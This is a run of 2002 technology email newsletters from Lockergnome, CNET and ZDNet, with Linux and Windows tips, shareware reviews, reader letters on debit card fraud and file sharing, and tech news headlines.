applications seamlessly into the stable Linux environment. The results are so strong that, if I didn't know better, I'd swear that a few of these plugins actually run better in Linux than in their native Windows. Honestly, I didn't realize how much I missed them until I started using them in Linux today. Tomorrow holds a few surpirses, with a look at CodeWeavers' CrossOver Office package. Recommend It! Send us a GnomeTWEAK GnomeCORE --- **Kernel Configuration - Part IX** We're nine parts into the kernel configuration series, with quite a bit yet to go. If you haven't been following along, we're breaking out the configuration screens one at a time in an attempt to shed some light on the purpose and function of each. With that knowledge, you should be able to make a clear decision as to how to configure each section. Today, it's the Parallel Port support section. This is pretty simple. If you need parallel port support - such as for a printer - select this option either as a driver built into the kernel or as a loadable module. Most will use the PC-style hardware option in conjuction with a Windows printer. But that's not all the parallel port can be used for. As an example, the builds I did with the telescope company required parallel port support, as the telescope cameras were attached to this port. Be aware - this kernel configuration option only makes a driver available for the parallel port. The computer's BIOS sets the mode for the port - ECP, EPP, or Auto. On the majority of modern computers, the Auto mode is the default and will work just fine. However, if you have problems communicating with your printer following a kernel recompile, try changing the mode of your printer in the BIOS. Tomorrow, it's Plug and Play configuration. Recommend It! Send us a GnomeCORE tip GnomeFILE --- **Netics 2.0** http://www.citi.umich.edu/u/marius/netics/ ""Netics is an extensible network statistics collector. It puts the network interface in promiscuous mode and reads the data stream (after it strips off the appropriate protocol headers), then displays the results at specified intervals, either in a ""progress bar"" mode or as raw statistics. Currently, it supports 2 statistics, both involving entropy: LZW compressability and Ueli Maurer's universal statistical test. Maurer's test is a very good and comprehensive measure of entropy, but requires a large amount of data. The LZW statistic requires much less data."" Recommend It! Send us a GnomeFILE suggestion GnomeVOICE --- **Helping Hand** Scribbled by Karl Steenblik ""Dear Linux community at Lockergnome. ""I am the web master for largest health care camp in the State of Utah. No not Cancer camp it is the Diabetic camp. ""The Foundation for Children and Youth with Diabetes serves about 900 diabetic children a year and their families. We have education, family support, diet planning and most important is camp. The place where kids can learn about how to better manage their disease. ""We are a totally non profit camp that puts all money from fees into our camp. We pay no salaries to Physicians, Dietitians, Social Workers, Nurses and educators that make our camp possible. Yes even me the lowly web master donates his time and web space at ATT to the cause. ""ATT recently decided to pull access to our photo page due to a password protection. We give out a password to all parents so that they can see photos of camp while the sessions are happening. We do not however what the creeps of the web to have access to photos of our kids. ""We are looking for someone in the state to help our camp by donating web space. Now it may not be your organization, but I know Linux people and Lockergnome and I think someone there may know someone who would be able to help us. ""You can still have access to the public part of our site that ATT has not shut down at www.fcyd-inc.org. ""Please I have the parents of 120 diabetic kids wanting to see photos of their children. They are all e-mailing me and I have no one to turn to. ""Hoping to hear from someone soon."" Karl R Steenblik Webmaster FCYD camp Salt Lake City. Help Karl. Recommend It! Speak your GnomeVOICE GnomeCLICK --- **Mobilix.org** http://mobilix.org/ Mobilix.org is a full site related to using Linux on mobile devices, including PDAs and laptops. It includes information for subsctibing to the linux-laptop mailing list, information on Linux-powered wearable computers, WAP enabled access, and Linux on cell phones. Mobilix looks to be a great resource for all kinds of tips, tricks and useful information for taking your Linux on the road. Recommend It! Suggest a GnomeCLICK | http://www.lockergnome.com/issues/penguinshell/20020709.html Your subscribed e-mail address is: [qqqqqqqqqq-lg@example.com] - To unsubscribe or change your delivery address, please visit the subscription management page. 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Ever the icon addict, I asked for your pixel-perfect creations. I have yet to receive one. Perhaps you've been waiting for the right motivation? How about a nice little contest involving some of the most powerful sites on the Internet? Here's the deal: you create five (or more) icons between now and the end of July 2002, upload them to your [FREE] DeviantArt account (under Contests / Axialis Icon Contest), and one of the five judges may pick it. The panel includes: myself, MattEO from DeviantArt, KarmaGirl from WinCustomize, Voodoo from Neowin, and Marc from Axialis. We'll each pick our favorite set. The winners will not only receive one copy of IconWorkshop Corporate Edition, but some of their icons will get bundled with a future version of the software! Ownership is retained by the original author, so don't hold back. Here's your chance at fame and fortune. Or, at least fame and free software. Ah, the life of a software junkie! Pieter just released the new (unofficial) Google SearchTool today. It's much more convenient than the official toolbar (sorry, I just don't like browser add-ons). I also gave Cacheman another go; I haven't used it since Windows 98. It's always been a great piece of shareware, but I didn't realize it was THIS good. The speed increase has been quite noticeable (even on Storm Shadow, my P4 2.5GHz machine). Outer Technologies is brilliant. And so is Repligator 9.0. It gives me access to instant special effects - a one-stop shop for digital photo fun. I'm still debating whether or not to install the latest Java runtimes. It seems to be unobtrusive on my test machine, which is good to see; I don't want browser integration, I just wanna run that awesome ASCII Art program. Oh, and ""12 Mistakes Executives Make When Planning Web Strategy"" is available for FREE with the purchase of ANY GnomeTome (including our 50 freshly-released OS X tips). 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Now I'll just opt for a birthday card and a bottle of wine.""_ I included this comment because I really like the birthday idea. _""It seems once again rather than release a file download site for music, at a fee per download, the music companies spend money on trying to stop download sites like Audiogalaxy.""_ With its popularity, file swapping should be an amazing opportunity for record companies, but they must not be smart enough to figure out how to make it work. ![](http://www.cnet.com/b.gif) | ![](http://www.cnet.com/b.gif) | ![](http://www.cnet.com/b.gif) | ![](http://www.cnet.com/b.gif) | ![](http://www.cnet.com/b.gif) ---|---|---|---|--- ![](http://www.cnet.com/b.gif) | ![](http://www.cnet.com/b.gif) | ![](http://www.cnet.com/b.gif) | ![](http://www.cnet.com/b.gif) | ![](http://www.cnet.com/b.gif) ![Sign up for more free newsletters from CNET!](http://a.r.tv.com/cnet.1d/i/nl/ft.gif) The e-mail address for your subscription is Unsubscribe | Manage My Subscriptions | FAQ | Advertise ![](http://www.cnet.com/b.gif) | ![](http://www.cnet.com/b.gif) | ![](http://www.cnet.com/b.gif) ---|---|---|---|---|---|--- ![](http://www.cnet.com/b.gif) | ![](http://www.cnet.com/b.gif) | ![](http://www.cnet.com/b.gif) ---|---|--- ![](http://www.cnet.com/b.gif) | ![](http://www.cnet.com/b.gif) | ![](http://www.cnet.com/i/dp/smrb.gif) | Price comparisons | Product reviews | Tech news | Downloads | All CNET services | ![](http://www.cnet.com/b.gif) ---|---|---|---|--- ![](http://www.cnet.com/b.gif) --- | **Copyright 2002 CNET Networks, Inc. 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It never fails, though. I always, always, always forget something. I can make lists two weeks in advance and I'll end up 30 miles down the road with a handprint on my forehead when I come to the realization that I left something important behind. What will it be this time, I wonder? I'll let you know on Thursday. See You in August, Randy Nieland GnomeNETWORK --- **Forwarding to Internet Address Fails** http://support.microsoft.com/default.aspx?scid=kb;EN-US;q181636 Client inquires about the possibility of forwarding all internal and Internet email to his AOL mailbox when he's out of the office, and I figure it's going to be a piece of cake. He recently acquired a new phone through Verizon along with web access and a tie into his AOL mailbox, which was the driving force behind this request. What I found was that Internet email proved to be easy using a simple forwarding rule, but none of the internal Exchange email was being sent out to the Internet upon receipt, even though it appeared to be included in the rule. As it happens, this is due to a default configuration option on the Exchange 5.5 server that prevents automatic replies/forwards from being sent to the Internet using the Exchange Internet Mail Service. A quick configuration change and restart of IMS will put things right. GnomeSYSTEM --- **Stop the Presses** http://www.wininformant.com/Articles/Index.cfm?ArticleID=25802 ... The CD presses, that is. Microsoft has given in to the greater good and delayed Windows 2000 Service Pack 3 indefinitely. Sure, it's mildly disappointing, but I applaud the move. Instead of trying to downplay the previously identified problems with Microsoft Installer (MSI) 2.0, the service pack will be put on ice until the issues are straightened out. Here's a quote for you... Good job, Microsoft. GnomeALERTZ --- **Today's Top 5 kbAlertz** * Q198845 - WD2000: How to Return Only File Names Using FileSearch Property (Q198845) * Q310436 - Cannot Play a DVD in Windows XP (Q310436) * Q321305 - How to Log On to Windows XP If You Forget Your Password or Your Password Expires (Q321305) * Q321146 - Freddi Fish 2: The Case of the Haunted Schoolhouse Program Causes an Error Message in Windows XP (Q321146) * Q321144 - Visioneer One Touch 8100 Scanner Causes an Error Message in Windows XP (Q321144) ![TechTV's Computer Basics](http://www.lockergnome.com/lgstore/sunshop/images/productpics/computerbasics.jpg) **CHRIS TEACHES THE BASICS:** If you've got friends or family who want to learn more about their PC, from a guy who makes things nice and easy, check out the VHS release of Computer Basics in the GnomeStore. Chris teams with TechTV cohort, Kate Botello, to lead novices on a journey through their computer. From basic interactions, to installing apps, to using the Internet and e-mail, Chris and Kate have all the basics covered. Help out a friend and get them a copy today. --- Recommend It! GnomeASSISTANT --- **Windows XP System File Checker** Dean Truax mentioned the System File Checker as a possible solution to my Windows Media Player problem under Windows XP, and I did indeed run through it prior to attempting an in-place upgrade, obviously with no improvement. It's still worth a mention, however, in case you're not familiar with what it's there for. As you're probably aware, XP contains a file protection scheme that will immediate replace any system files that are deleted or altered in any way, ensuring that XP is kept in a stable state. Sometimes this system can get a little out of whack, and the SFC is meant to restore order. Note that any hotfixes and other Microsoft-provided updates will be left in place since they properly update the DLL Cache that is used as the sanity check to determine if a system file has been messed with. To access the SFC, simply launch a command prompt and type ""SFC"" to display a list of options. GnomeSTUFF --- **Consider This** Forwarded by JW http://www.computerworld.com/securitytopics/security/story/0,10801,72519,00.html The next time you have a face-to-face with your elected representatives, you might want to start asking about their opinions on technology laws that are being proposed left and right. Holding a public office seems to be introducing brain death more frequently considering proposals by Senator Fritz Hollings and now LA congressman Howard Berman. If Mr. Berman gets his way, companies may very well be allowed to hack into your systems without proof of provocation in order to ensure that you are using their software according to the stated rules. Mind you, if they cause colateral damage or upset other systems, there isn't thing one you can do in return. Nope, they'll have legal protection. This garbage is seriously getting scary. If you think it won't be abused, consider the case of Dimitry Skylarov when he publicly pointed out eBook security problems with Adobe's software and was promptly thrown in jail for his trouble under the authority of the Digital Millenium Copyright Act. He was eventually released, but that doesn't make it any more right. Recommend It! | http://www.lockergnome.com/issues/techspecialist/20020710.html Your subscribed e-mail address is: [qqqqqqqqqq-lg@example.com] - To unsubscribe or change your delivery address, please visit the subscription management page. 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Before you buy one more handheld, see my prescription for mobile happiness. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Reader: Kyocera is stepping stone to the perfect smart phone** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) **Latest from ZDNet News** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Microsoft eyes Visa users with Passport ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) No jitters here: IBM drives tap new tech ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Telecom firm leaks student data to Web ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Israel, Hong Kong hotbed for cyberattacks ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Microsoft puts content software to the test ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Micron: PC demand to boost chip sales ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Flash! Macromedia tools speak up ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Will Dell delve into printers? ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **More Enterprise News** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/dots249.gif) ![](http://www.zdnet.com/b.gif) **Farber's Picks** | ![](http://www.zdnet.com/b.gif) --- ![](http://www.zdnet.com/b.gif) ![](http://techupdate.zdnet.com/techupdate/i/dfarber.jpg) Dan Farber ![](http://www.zdnet.com/techupdate/i/dots75.gif) | ![](http://www.zdnet.com/b.gif) ---|--- **Tackling tough issues in e-customer service** Identity services let e-commerce sites better serve customers and secure their transactions. Both **Passport** and the **Liberty Alliance** offer merchants some ability to recognize customers. Check out this overview of today's identity services--and find out why **PKI** is not dead yet. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the full story** ![](http://i.i.com.com/cnwk.1d/i/ne/pt/2002/07/070902ToshibaSatellite1955.jpg) | ![](http://www.zdnet.com/b.gif) ---|--- **Toshiba releases monster notebook** Weighing in at 9.6 pounds, the new **Toshiba Satellite 1955-S801** notebook has a 2.2GHz Pentium 4 desktop processor and a huge 16-inch display. The **desktop-replacement notebook** category also includes the Satellite 1905 that Toshiba introduced last month, as well as products from Hewlett-Packard. Gateway and Dell may be looking at the concept too. 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An amazing array of controls are out there, with more arriving at Download.com every day. This week, we've collected the top programs that handle transparent GIF files, offer prebuilt ActiveX controls, and edit hex code to get you up and running. Also this week, we've got two really useful ActiveX entries: FileSystem 1.2 and AppSecureX 2.9. FileSystem gives you access to drives, folders, and I/O operations; and AppSecureX adds serial number and shareware-type functionality to your applications. Becky Waring Contributing Editor, CNET Download.com | ![](http://www.cnet.com/b.gif) | ![](http://www.cnet.com/b.gif) --- ![Reviews & Features](http://www.cnet.com/i/nl/lx/sub_rev.gif) ![](http://www.cnet.com/i/nl/rule.gif) From Builder.com **Six MySQL/PHP functions to streamline development** Code reuse is one of the keys to increasing developer productivity. This article looks at several handy functions you can use to save time when building applications using PHP and MySQL. ![](http://home.cnet.com/b.gif) **Faking SOAP principles with familiar techniques** SOAP is everywhere you turn. But what exactly is it? Take this guided tour to gain working knowledge of this emerging standard. ![Picks of the week](http://www.cnet.com/i/nl/dl/sub_picks.gif) ![](http://www.cnet.com/i/nl/rule.gif) in ActiveX **FileSystem 1.2** Having problems wrangling the Windows File System? The FileSystem ActiveX control offers complete access to common file information under Windows through three independent interfaces. Everything from drive and folder access to file I/O operations is available with only a few lines of code. Use this control's interfaces to detect media types and media insertion, get complete lists of folders and files at unlimited folder depth, find out what attributes are set on files, and even load logbook files into collections automatically. Rope in your files. **ApSecureX 2.9** Prevent pirates from copying your software with AppSecureX. This control provides a registration system that produces a valid serial number customized to the user's machine. When the user installs your software, a unique ID number is generated for that system. To get the serial number, the user must provide you with his installation number. The data file created by the application is encrypted differently for each system, so even if someone were to crack the file, they couldn't use the information on another machine. AppSecure can also give your software shareware functionality such as number of days left, checking to see if the system clock is set back, and so on. AppSecureX works with any ActiveX-enabled programming language such as Microsoft Visual Basic or Microsoft Visual C++. A demo application is included. Lock up your software. in Java **AppletFile 2.5** AppletFile is a set of Java applets that will enhance your Web site's file upload and download capabilities. In addition to support for SSL, proxy, and authenticated uploading, users can upload and download multiple files using predefined paths to automate the process as much as possible. A scripting language provides for sophisticated customization, and the user interface includes support for 12 different languages. Transfers are faster because the applet uses its own compression (AutoZIP). The AutoSYNC feature downloads only updated files, and verification of file transfer integrity is made possible with built-in support for MD5 message digests. AppletFile is based on HTTP protocols and is firewall-friendly. This update adds Sun's Java Plug-in support for Netscape 6+ browsers and shows removable media drives in the browse dialog. Beam up your files. in Tools & Editors **PHP Master Editor 2.0** Write, edit, and debug PHP scripts and HTML pages with this tool. PHP Master Editor includes an internal browser for viewing, as well as a debugger for local testing. Basic FTP capability is also included. Specifically designed for PHP programmers, the program recognizes and formats functions, variables, and classes within the code, and features customizable code templates. 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Make sure that you enter exactly the same e-mail address as you used to join this service. http://list.theregister.co.uk/cgi-bin/unsub.cgi",0,1 Lockergnome Windows Daily ,qqqqqqqqqq-lg@example.com,"Thu, 11 Jul 2002 00:09:04 -0500",[Lockergnome Windows Daily] Fraud Wipes,"![Lockergnome](http://images.lockergnome.com/images/gnomedaily.gif) ![See You at Gnomedex 2002!](http://www.lockergnome.com/images/ads/gnomedex2002banner.gif) --- | 07.11.2002 GnomeREPORT --- **GET HIGH-SPEED ACCESS:** Verizon Online DSL is an affordable, high-speed Internet connection. Click here to see if Verizon Online DSL is available in your area. ![](http://www.qksrv.net/image-471546-2202776) --- I'm not a banker, and I'm not a credit expert - but these people speak from personal and professional experience. Draw your own conclusions. Lockergnomie Sang Vo writes: ""Though you may have zero liability for a fraudulent transaction, the paperwork and red tape to work through if someone empties out all your funds can leave you hurting for a while. There are many credit cards that now offer zero liability for fraudulent transactions. So, contact your credit card provider / bank to see if you can have such a plan added to your card or if you can apply for one that does."" And Russ Coover continues: ""If you purchase something with a credit card, and you later decide to dispute the purchase (for a reason such as the product was faulty and the merchant refuses to replace it or, perhaps the product was never delivered), you can legally dispute the charge with your credit card company. However, if you use a debit card to make that purchase, you have no right to dispute the charge."" Jeff Morgan has a different interpretation of the regulation in question (E): ""In 12 CFR II, Section 205.6, it's saying that if you give your financial institution timely notice of the theft of your card or PIN code (two business days), you are liable for no more than $50, otherwise you may be liable for up to $500."" And Tim Miller extends the translation: ""If someone puts a false charge on a credit card, the worse that will happen is your liability for $50, with the possibility that your next charge might not go through because the thief used all of your available balance. If a false charge goes against your debit card and wipes out your bank balance, however, outstanding checks can bounce. Your bank may be able to get you all of your money back, but the payees of those bounced checks might sock you with $20-25 insufficient fund fees - and they are under no obligation to waive those fees. If you have 5 checks outstanding, you could be out over $100."" Frank Reyes was apparently lucky: ""Someone recently obtained my debit card number through a local grocery store. I was told by the checker at the grocery store that the card readers would only accept Visa cards not ATM cards. I was very suspicious, and used my debit card instead. Apparently, the store's computer had been hacked, and my debit card number and name (among several others)were forwarded to an unscrupulous individual. I was reviewing my checking account online two days later, and noticed an unauthorized charge against my account ($60.00). I contacted the vendor that had charged my account and informed them of the fraudulent charge. The vendor stopped the shipment, provided the shipping address to my bank, and credited my account within 5 days after I informed them (The delay in the fund reversal was due to the 4th of July weekend). The only negative aspect is the fact that I had to request a new debit card, which has yet to arrive."" Further thoughts from Lockergnomie James Simbro: ""I'm not totally sure on this, but I've been warned against using a debit card for online purchases. Yes, you may not be liable for any of the false charges on a debit card (in the end), but in the meantime (during your dispute) the money will be withheld from your account and you will not have access to it. However with a credit card, you are not responsible for funds that are in dispute. The scenario I was given, was imagine if somebody falsely used your debit card and cleaned out your checking account? The money is gone! False charges on a credit card are not ""real money"" until somebody has to pay them. I would guess that each bank has different policies for debit card fraud. I might just have to call mine and see what I'd face."" In short, be careful - no matter what you use or where you choose to use your plastic. See You in August, Chris Pirillo GnomeDOWNLOADS --- **CYG v20020115 [3.2M] W9x/2k/XP FREE** http://www.geocities.com/HoloGuides/CyG/ {Manage your collections} It seems like everyone collects something. In fact, just the other day I decided to start collecting dust. It's much easier than collecting stamps. If you do collect stamps, though, this organizer will help you keep track of them all. Or you can use it to keep track of your Star Wars trading card collection, or your coin collection, or your [insert collection here] collection. It works for everything, get it? It's also great for managing your MP3 lists, including ID3 tag editing. ""CYG is founded on an object-oriented database approach, and carefully programmed with one goal in mind: universal usage."" **DriverManager v1.0 [557k] 2k/XP FREE** http://www.l5sg.com/DriverManager.html {Drive your drivers} Everyone else step outside while I have a talk with the power geeks. If you're running on NT, 2000, or XP and need to know what drivers you have running on your system, this program can show you. That's not too shabby, but of course, you can also change or even get rid of certain drivers if you desire. And that's, um, even more not too shabby. And that Refresh button is there to make sure you're seeing everything exactly how you want it. ""DriverManager is a tool designed to allow System Administrators, Power Users and Driver Developers an easy means to view, modify or remove drivers and their information."" Recommend It! GnomeCLICKS --- ![TECHNOLOGY can be frustrating for new and intermediate computer users, UNTIL NOW. Join us for a FREE Windows Newsletter, video tutorials, articles, special reports, and more!](http://www.lockergnome.com/images/ads/icon.hotwindowstip.gif) | ![The easiest way to Zip/UnZip. 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Mostly it is useful for sites like FlamingText.com and ImageBot.com to send generated images to another server (such as your Web or FTP server). This is particularly useful for WebTV users who can't save images on their own machine. Although we have no pre-set limits (okay, it's 2.4 GB), the transfers that you do through Transloader.com must be completed in five minutes. This server is capable of transferring over 1 Gig per minute; if you are talking to a slow server, your job may not complete in time. Other transloaders sometimes suffer from overloading (too many people using them), which is why I wrote this one. Hopefully, this will never happen to us, but in any case, check these others out, they have some nice services..."" Recommend It! GnomeWILDCARD --- | | **Full PDF Books** --- Poor Richard's Web Internet Promotions E-Mail Publishing Web Site Makeover Websites Made Easy Online Communities Home Networking Internet Recruiting Online Branding **To Share or Not to Share** Scribbled by Lee Smith I think that online file sharing is dependent on the file that is being shared. If the song is a current release or recent, then I do not believe in it. I can't consider it stealing because you can't steal from someone who willingly puts the file up for downloading. Those who did put the file online most likely feel that it is also not stealing, since they purchased the CD. However, I do not agree with RIAA or recording companies who are attempting to make their CDs ""rip proof"" either. I do not feel they have the right to dictate what songs I can listen to or when or in what order. I like to rip specific songs from CDs then make my own CD, which either goes down to my entertainment system or to my truck. The master CD is saved and rarely played (""why"" is explained later in this message). I prefer making my own CDs for my truck because if my truck were to be broken into and my CDs stolen, it would be much easier to replace a self-burned CD than a master. Sometimes, masters cannot be replaced without a large expense, if at all. If the song is outdated, an oldie (so to speak), and is not available anywhere, then yes, I do believe in it. Or, if the song being sought is wanted to rejuvenate one's collection, then yes, I do believe in that, too. Case in point: as a kid, I collected a lot of 45s and record albums. I have more than 4,000 records in my collection. Many were played so much that they are not playable anymore and, even though I did take care of them, due to the cheap stereos and record players in the 60s, they are 'shot.' I want to relive some of my younger days through music, but attempting to convert those records (to digital) is next to impossible for me. So, in this instance, no, I do not think it is illegal to seek out digitalized copies of the old songs that I already have records of (albums and/or 45s). If, however, the song(s) that I am seeking are available on CD, then I will be very quick to purchase that CD from Tower Records, The Warehouse, or any other reputable dealer. For those that are impossible to find ""digitals"" for, then, one day, perhaps I will reach a point with technology (and money) where I can transfer those platters to WAV and they will sound as good as when they were originally recorded. I have been lucky enough to find some on CD thanks to the Internet; I was quick to purchase the disc, usually from the original artists themselves. Some of the music that I have, sadly, will never be heard again. I blame RIAA and the recording industry for that, too. Neither seem to care about the ""lost"" songs when digitally remastered CDs are released. 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She's got a very unique and creative style that you may enjoy. Oh, and did I mention she was a professional designer? That's right; now you know it's all good. The best part? All these images are FREE. The ""Buzzz"" tile is especially awesome (and this endorsement is even coming from the guy who hates creepy-crawlies of all kinds). Recommend It! GnomeTIP --- | | **Help Yourself** --- Microsoft Office Tips PC Productivity Tips Cool Internet Tips Windows 2000 Tips Windows XP Tips Top 50 Fun Sites Must-Know Terms Top 50 Useful Sites Top 75 Tech Sites Who can save you from making a small oversight with your digital video camera purchase? Lockergnomie Frank Kenna: ""I see that you're thinking of getting a DV camera. I got one about a month ago, and I made one mistake: I didn't get one with A/V INPUTS. Mine has A/V outputs, which are great for getting your digital stuff out onto VHS, etc. But without the inputs, there's no way to get VHS or old 8mm footage into the camera. With inputs, not only can you get your old 8mm & VHS stuff onto DV tapes, but you can use the camera as a pass- through device and get the old stuff directly onto your computer for editing purposes. I wish someone had made clear the advantages and importance of inputs when I bought my DV camcorder. The reviews and magazines I read barely mentioned this feature - and nobody stressed its importance. But if you're going to be doing any editing, it is critical (if you want to work on any of your old stuff). Don't make the same mistake I did - make SURE you get this feature. It doesn't seem to impact the price of the cameras; some offer it and some don't."" This advice came not a moment too soon for me. Thank you for helping us, Frank! Recommend It! | http://www.lockergnome.com/issues/daily/20020711.html Your subscribed e-mail address is: [qqqqqqqqqq-lg@example.com] - To unsubscribe or change your delivery address, please visit the subscription management page. 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We have rated each of the products featured in this supplement to aid your shopping experience. ______________________________________________________________ Featured Products 1) Sound Blaster Extigy 2) Handspring Treo 90 3) KDS Rad-5 15-inch LCD 4) Sony PlayStation 2 ______________________________________________________________ Sound Blaster Extigy sound convergence device The Lowdown: If you're into watching DVDs, listening to tunes, or recording music with your computer, you'd be doing yourself a favor by upgrading your sound with this convergence device. Read review: -- http://chkpt.zdnet.com/chkpt/tedstest02t/http://www.zdnet.com/supercenter/stories/overview/0,12069,554219,00.html Price-Feature Ratio Analysis: This product is in Stage 2: Variable Price-Feature Ratio. You can expect high variability in prices among products with similar features. It pays to comparison shop for the best price. Check prices: -- http://zdnetshopper.cnet.com/shopping/resellers/0-6928060-1411-8751383.html?tag=st.cr.mp.dpt.pr8751383 ______________________________________________________________ Handspring Treo 90 PDA The Lowdown: If you're not fond of Graffiti, this is an excellent alternative to other Palm OS handhelds. Read review: -- http://chkpt.zdnet.com/chkpt/tedstest02t/http://www.zdnet.com/supercenter/stories/overview/0,12069,561635,00.html Price-Feature Ratio Analysis: This product is in Stage 1: High Price-Feature Ratio Technophiles will rush to buy the product, but can expect to pay higher prices for the honor of being the first among their friends to have one. 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April's tech award 1 million open jobs News.com: Top CIOs ZDNet: PeopleSoft ** --- | ![](http://home.cnet.com/b.gif) --- ![](http://home.cnet.com/b.gif) ![](http://home.cnet.com/b.gif) ![](http://home.cnet.com/b.gif) ![](http://home.cnet.com/i/ne/ds/bkg.gif) ![](http://home.cnet.com/b.gif) | ![](http://home.cnet.com/b.gif) | ![](http://home.cnet.com/b.gif) | | ![](http://home.cnet.com/b.gif) | | ![News.context](http://home.cnet.com/i/ne/ds/nc.gif) | July 11, 2002 ---|--- ![](http://news.cnet.com/i/ne/pr/gr/prtease_cooper.gif)**Hollywood & Silicon Valley: A way out?** The controversy over digital file swapping is no closer to an amicable resolution than it was when peer-to-peer technology first came into vogue. Charlie Cooper, Executive Editor/Commentary ![](http://home.cnet.com/b.gif) ![](http://home.cnet.com/b.gif) --- **Just desserts for scofflaws** U.S. Rep. **Howard L. Berman** weighed in this week, arguing that piracy over P2P networks robs songwriters on a massive scale. The congressman from Hollywood has authored a bill to stop illegal digital downloads by giving copyright owners the ability to technologically impair the distribution of copyrighted works. **Read Full Story** ![](http://home.cnet.com/i/ne/ds/right_arrow.gif) **Spotting a scam in sheep's clothing** Berman's proposal received a cool reception in Silicon Valley, where rules are frowned upon and unfettered innovation reigns supreme. So it was that StreamCast CEO **Steve Griffin** spoke for many in the community when he wrote that Berman's proposal won't work. What's more, he wondered, was Berman really concerned about controlling piracy, or could the congressman from Hollywood be influenced by certain constituents? Conspiracy buffs this week had a field day. **Read Full Story** ![](http://home.cnet.com/i/ne/ds/right_arrow.gif) **How to curb digital piracy** The odds that either side will raise the white flag are slim. But must this debate necessarily turn into an endless donnybrook? Former White House staffer **Jonathan Greenblatt** doesn't buy into historical determinism, and believes Hollywood can respond to the challenge of new media. First, it must shy away from any legislation that aims to control technology or enforces any ""draconian"" digital rights management rules. What other suggestions does he offer? Read on. **Read Full Story** ![](http://home.cnet.com/i/ne/ds/right_arrow.gif) **Writing file sharing's final chapter** All this occurs as the P2P community lost one of its brighter lights. Computer scientist and entrepreneur **Gene Kan** died June 29. Kan, who helped to develop an early open-source version of Gnutella software, wrote a column for CNET News.com on June 21, drawing on the lessons learned from the history of peer-to-peer technology. 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Honored this week with the Presidential Medal of Freedom, Moore took time to talk about the slowing down of his well-known law, the economy, philanthropic priorities, and more. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the full interview** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) **Latest from ZDNet News** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Liberty Alliance set to battle Passport ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Licensing plan could boost Microsoft ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) IBM looks to corner low- end storage ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Bluetooth: Off and running? ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Acer gloomy on tech recovery ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) VoiceStream, AT&T; Wireless to hook up? ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Dell douses Lexmark speculation ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Chip designer ARM launches China foray ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **More Enterprise News** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/dots249.gif) ![](http://www.zdnet.com/b.gif) **Farber's Picks** | ![](http://www.zdnet.com/b.gif) --- ![](http://www.zdnet.com/b.gif) ![](http://techupdate.zdnet.com/techupdate/i/dfarber.jpg) Dan Farber ![](http://www.zdnet.com/techupdate/i/dots75.gif) | ![](http://www.zdnet.com/b.gif) ---|--- **Cyberterrorists don't care about your PC** Forget about viruses. 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The response has been great, with more than two dozen offers of web space for the Foundation for Children and Youth With Diabetes. It gratifying to see our community rally around a great cause. Know that whether you answered the call or not, you're in the electronic company of some caring and compassionate folks. I've not yet heard whether a solution has been found from among the many offered, but I'll certainly keep you posted on the outcome. Second, a few final clarifications on the 4th of July bruhaha. A reader brought to my attention that, though he didn't believe it to be the case, offering my opinion on the state of America could be seen as trolling. That certainly wasn't intended. Also, I've seen much email over the past week that started with, ""Since you published the opinion of someone outside the US, I'd expect that you'll publish an opinion in disagreement."" Well, I did that already - it was my own opinion that started the discussion. I can clearly see the potential for this to get out of hand. So, this will be the last word on the subject. Thanks for your opinions and your discussion, the vast majority of which was well-thought and reasonable. Both sides were presented and we're moving on. On to some Lockergnome news. If you haven't already heard, CleverMedia is sponsoring karaoke night at Gnomedex. According to the woman with her finger on the pulse of Gnomedex, Lori Lockwood, ""There is definitely a 'surprise' in the works for the attendees ... "" Hmmm. Could it even compare to last year's Miss Gnomedex contest? I think it unlikely. In any regard, the folks at CleverMedia are certainly more than capable of coming up with loads of fun -- it's what they do for a living! Between Leo Laporte, Doc Searls, Steve Gibson, Mark Thompson, Evan Williams, and too many others to mention, you'd be silly to miss out. Onward. Have a great day. Tony Steidler-Dennison GnomeTWEAK --- **Lockergnome readers, SAVE 50% on the Computing 